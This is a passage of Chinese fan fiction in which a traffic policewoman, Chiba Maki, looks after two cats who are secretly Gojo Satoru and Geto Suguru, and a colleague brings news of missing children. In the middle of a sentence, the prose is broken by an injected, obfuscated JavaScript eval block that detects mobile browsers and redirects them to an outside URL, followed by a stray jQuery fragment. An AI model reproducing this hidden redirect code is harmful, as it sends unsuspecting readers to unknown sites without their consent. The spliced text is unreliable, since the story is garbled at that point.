闹钟忘记关了。
真树绝望地睁着双眼,本来她的睡眠质量就很差,好不容易睡个好觉还请了一天病假,居然被小小闹钟叨扰。
“呜喵。”
类似幼猫嘤咛的声音在自己的脸庞响起,她才发现白猫缩在自己的肩膀上。它的体型本来就不小,整只猫蜷缩成一个西瓜虫,委委屈屈地把自己塞进小小的地方。
有点可爱。
她看着看着就把脸压下去,放到猫猫虫的中央,被有点粗糙的肉垫抱住自己的脸,整只猫就黏上来了。
更可爱了。
千叶真树像海盗船一样摇晃着自己的脸,不停往里钻,把梆硬的猫搓得松开了一点。听着它哼哼唧唧地抗议自己的睡眠被打扰,浑身像接受了按摩一样松快下来。
她不再赖床,打算去弄个病号餐照顾自己,结果刚下床就看到床对面黄澄澄的一对大灯罩着自己。
冷汗缓缓冒出来,为什么会感觉有点心虚,是因为她忘记还有一只猫了吗?
真树若无其事地穿上鞋,走到黑猫面前蹲下,默默地把它团成一个圈圈,不发一言地将脸埋到中心蹭来蹭去。
都有的,大家都有的。
伤害猫猫这种事她做不出来。
跟昨天真树摆放的姿势有所不同,二号猫猫虫把烧焦的那面压在了身下,面对着她的那面毛发非常柔软整齐,看起来一如既往地优雅。
但肌肉极其僵硬,黑猫手足无措地蜷起四肢,想把她的脸从腹部推开。
如果只是为了礼节吃东西,人会有点不情愿,但是如果是抢东西吃,人就会兴致盎然,强制赛高!
她从2号猫猫虫里抬起头,看着黑猫脸上松了一口气的表情,把手插|到缩起的四肢缝隙中,拉起两只前爪,一同锁在头顶,“喵喵,你也不想让别人知道自己叫喵喵吧?”
夏油杰震惊,原来她自己知道别人会讨厌这个名字吗?
话说,你平时都在看什么啊?!
随着千叶真树越凑越近,黑猫大大的耳朵耸立颤抖,最后狭长的眼睛缓缓垂下,一副任人鱼肉的样子。
跟身体等宽的尾巴却夹到肚子上,恨不得把自己整个罩住。
哦豁。
千叶真树突然想清楚了,这只猫接回来后为什么总让她有很特别的感觉,因为它在不动声色地期待着。
那种期待感非常微妙,像是一段即将断掉的蛛丝,既希望被蜘蛛发现后修理得当,又希望被无视后彻底断掉。
可惜,它已经被它的主人发现了。
真树发现它的企图,用右胳膊压住尾巴,整个人都贴了上去。
夏油杰看着瞬间拉进距离凑到面前的脸,感觉浑身的毛发都竖起来了,他避开对方虎视眈眈的眼神,脑子里刷刷地闪过她对五条悟的所作所为。
是一个很没距离感的人,不是他擅长应付的类型。不,他们现在只是猫而已,对猫这样好像也很正常。
他努力地想着别的事情,希望把注意力从真树的身上移开,就感到鼻尖被轻轻地摩擦。
对方的鼻尖反复来回地触碰又离开,若即若离的感觉像是试探的鱼饵,在安全区内跳来跳去。
猫的鼻子其实是一个小型的信息收集器,非常敏感。而现在嗅觉、触觉、听觉所有的感官全部集中,都停留在同一个人身上。
她闻起来像是一棵巨大的松木,不在意树枝上攀爬的蜘蛛,只想自由自在地做对的事情。
然而当你咬了她一口,才发现她的坚不可摧与固执的温柔。
就在夏油杰感觉被大树的阴影遮天蔽日时,树突然跑了,他莫名产生了一种猝不及防的失去感。
千叶真树放开不动声色却紧张兮兮的黑猫,随手擦了一把脸上的灰,发现长毛黑猫更耐脏点。
一直以为这只猫把自己拾掇得挺干净的,没想到比露娜洗澡前还脏一些。
她轻轻地捏着手下大大的猫爪,无视想偷偷抽回去的力度,她从露娜身上学到的道理就是,只要没有挠她就代表猫喜欢。
“等伤口好了就给你洗澡。”
叮咚——叮咚——
门铃的响起让真树有点奇怪,她在东京都没什么可以上门的朋友,所以很少有访客。
留下又在用余光注视自己的喵喵,她快步走到门口,就被身后跳上来的白猫撞了一个踉跄。
脸侧盈盈的蓝眸盯紧门口,防备的情绪溢于言表。
真树停下脚步,没有管持续的门铃,把露娜抱在怀里安抚,却发现它更加警惕了……警惕地嗅着自己的手,然后攀到肩膀上在面部嗅闻。
她第一次面对白猫心惊肉跳的,连忙上前一步,打开入户门想转移矛盾,“宫本?”
一个穿着交警制服的长发美人站在门口,举起手中的水果,“正好巡逻到附近,来探望你啦,怎么样,让我看看你的猫到底有多气人!”
五条悟确认了气味的来源和浓度,毛已经立正了,刚刚准备先处理这个跑去偷偷摸别的猫的女人,又被昨天电话里的声音吸引,转头看向走进来的客人。
这是他除了斋藤那个小鬼之外,第一个认识的跟千叶真树有联系的人。
她会带来真树的什么碎片吗?
白猫用尾巴拍了拍真树的头发,在别人面前给你留一点面子好了。
最起码暂时安全了……
真树内心一松,专注地招待客人。
宫本由美是她两年前调职米花町的交通部同事,为人热情爽朗,所以两人的关系还不错。
她没有客气,接过递来的水果去厨房清洗,“谢了,昨天没有打麻将吗?”
宫本由美拉开座椅,“什么啊,我很担心你,才不会去娱乐。”
真树懒得装盘,直接把洗好的沙梨递过去,又去给自己洗了一个,“难道不是麻将搭子被拉去加班了吗?”
“真是的,真树酱老是故意调笑我。”由美接过沙梨,用梨子挡住嘴巴,只剩灼灼的双眼。
她看向梨被白猫先啃了一口的千叶真树,问出真正的来意,“所以,到底怎么样?”
真树默默地起身走到厨房,拿了水果刀把梨切成两半,用手举
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883170|176379||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着缺了一小口的梨放到娇贵的小猫少爷面前任由它啃,耳边咔嚓咔嚓的声音非常解压。
她听到宫本由美没头没尾的话,转身疑惑地问,“什么怎么样?”
“你跟诸伏前辈啊,复合了吗?”
肩上的猫突然剧烈地咳嗽起来,前爪不停地抓挠吻部。
真树顾不上两眼放光的后辈,把手指伸进白猫的嘴套里扣出一块梨肉。
等确认猫的状态平稳了之后,她才放下心来回答,“所以跟你说了好几次,那都是假的,诸伏前辈一直很照顾我,仅此而已。”
“怎么可能!这次诸伏前辈异常关心地详细询问案件的情况哦!真是的,亏我还跟美和子强调把你情况讲的严重一点。”
白猫从真树的肩上跳到餐桌,不再继续吃梨,而是双耳朝前,专注地观察千叶真树的表情。
“诸伏前辈只是我的教导员罢了,所以对我有责任心吧。当初的袭警案也是,他好像一直觉得很愧疚,虽然我也不太能理解。”千叶真树无奈地说。
见宫本由美仍旧面带质疑地嘀嘀咕咕,她只能转移话题,“你一直待在这里没问题吗?”
“看你还好就行。对了,我来是有正事的。”宫本由美放弃了八卦,想起好友拜托自己传达的讯息,“美和子说最近八天内陆续有三个小孩失踪了,其中一个是渡边医疗的私生子,现在有超大额的悬赏金。即使是有效信息都有五十万起步的赏金,你感不感兴趣?”
“八天内?”真树忽然想起上周六的事情,小巷内的尖叫声以及久寻无获的撤退,“失踪前的地点是哪里?”
旁听的五条悟听到这里,联想到的却是小巷中一起出现的夏油杰。
“第一个失踪的是渡边鸠,10月7日下午17点左右,于米花神社周边的小巷内跟同伴走失。具体位置仍未确认,因为同行人的证词有矛盾的地方。后面失踪的两个孩子都是渡边的好友,陆续于一周内独自外出后没有再回家,所以失踪地点不详,出了监控后没有找到踪迹。”
“更详细的信息美和子那里可以公开吗?”
“可公开的详细信息我稍后发你。另外两个孩子的家属在网络求助,麻烦的是渡边,态度非常不配合,更信任自己找到的侦探。”
真树送走了继续巡逻的宫本由美,拿着切下的半块梨走到卧室,发现两只猫又在对峙。
虽然可能只是露娜单方面的对立而已,黑猫依旧是一副好欺负的样子,低垂着眼眸,避开了视线。
她坐到露娜后面,用腿夹住它,把手中的梨放到黑猫的嘴下。
五条悟再次被千叶真树的表现震惊了,他在五条家一向被奉若神明,变成猫后又被照顾得妥帖。
他理所应当地享有真树的注视和关心,没有得到她的偏心就是被忽视。
千叶国内战全面爆发,由白猫王子将炮火开向大树女王和黑猫随从,“你就这么当我妈妈的?!”
他想明白了,是因为这个女人老说自己是妈妈妈妈的,所以他才会怪怪的。
围观的夏油杰瞪大了双眼。